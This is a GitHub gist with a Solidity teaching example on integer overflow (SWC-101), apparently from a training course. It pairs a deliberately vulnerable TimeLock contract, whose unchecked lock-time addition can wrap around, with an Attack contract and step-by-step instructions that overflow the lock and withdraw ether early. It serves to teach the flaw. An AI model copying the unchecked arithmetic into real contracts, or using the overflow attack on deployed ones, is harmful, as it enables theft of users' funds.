Created
March 30, 2022 13:54
-
-
Save mikkipastel/0b74f56a72b91f7451f670e4e903b8ae to your computer and use it in GitHub Desktop.
SWC-101 : Integer Overflow and Underflow / CWE-682 : Incorrect Calculation from KBTG Inspire2
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.6.0; | |
/* | |
* Step | |
* 1. Deploy TimeLock Contract | |
* 2. Deploy Attack(TimeLock) contract | |
* 3.1 Try attack() -> automated process | |
* 3.2 Manual | |
* 1) Deposit x ether | |
* 2) Get locktime (for checking) | |
* 3) Call getLockTimeToIncrease(addr) to find number that overflow | |
* 4) Use 3) result to increaseLockTime | |
* 5) Get locktime (for checking) | |
* 6) Withdraw | |
*/ | |
contract TimeLock { | |
//using SafeMath for uint256; | |
mapping (address => uint256) public balances; | |
mapping (address => uint256) public lockTime; | |
function deposit() external payable { | |
balances[msg.sender] += msg.value; | |
lockTime[msg.sender] = now + 1 weeks; | |
} | |
function increaseLockTime(uint256 _secondToIncrease) public { | |
lockTime[msg.sender] += _secondToIncrease; | |
} | |
function withdraw() public { | |
require(balances[msg.sender] > 0, "Insufficient funds"); | |
require(now > lockTime[msg.sender], "Lock time not expired"); | |
uint256 amount = balances[msg.sender]; | |
balances[msg.sender] = 0; | |
(bool sent, ) = payable(msg.sender).call{value: amount}(""); | |
require(sent, "Failed to send Ether"); | |
} | |
} | |
contract Attack { | |
TimeLock timeLock; | |
constructor(TimeLock _timeLock) public { | |
timeLock = TimeLock(_timeLock); | |
} | |
fallback() external payable { | |
} | |
function attack() public payable { | |
timeLock.deposit{value: msg.value}(); | |
// t = curreny lock time | |
// x + t = 2**256 = 0 | |
// x = -t | |
timeLock.increaseLockTime( | |
// 2**256 - t | |
uint(-timeLock.lockTime(address(this))) | |
); | |
timeLock.withdraw(); | |
} | |
function getLockTimeToIncrease(address addr) public view returns (uint) { | |
return uint(-timeLock.lockTime(address(addr))); | |
} | |
function kill() public payable { | |
selfdestruct(payable(msg.sender)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment